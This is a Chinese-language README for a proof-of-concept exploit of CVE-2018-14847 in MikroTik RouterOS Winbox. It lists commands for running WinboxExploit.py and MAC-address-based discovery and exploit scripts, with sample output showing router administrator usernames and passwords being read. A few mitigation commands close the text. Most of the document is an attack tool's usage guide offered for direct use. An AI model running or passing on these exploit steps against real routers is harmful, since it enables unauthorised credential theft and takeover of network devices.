CVE-2018-14847 的 Mikrotik 漏洞概念验证(PoC)(主要针对 Winbox),工作原理是直接从 RouterOS 的默认端口 8291 读取密码。
Original by: https://github.com/BigNerd95/
apt install python3
python3 WinboxExploit.py <IP地址> [端口]
例如:
$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123
即使没有 IP 地址,你也可以使用此脚本。
使用 MACServerDiscovery.py 扫描路由器。
python3 MACServerDiscover.py
例如:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
漏洞利用:
python3 MACServerExploit.py <MAC地址>
例如:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: oppaidaisuki123
RouterOS 发行日期 2015-05-28 至 2018-04-20
RouterOS 版本:
更多信息:https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox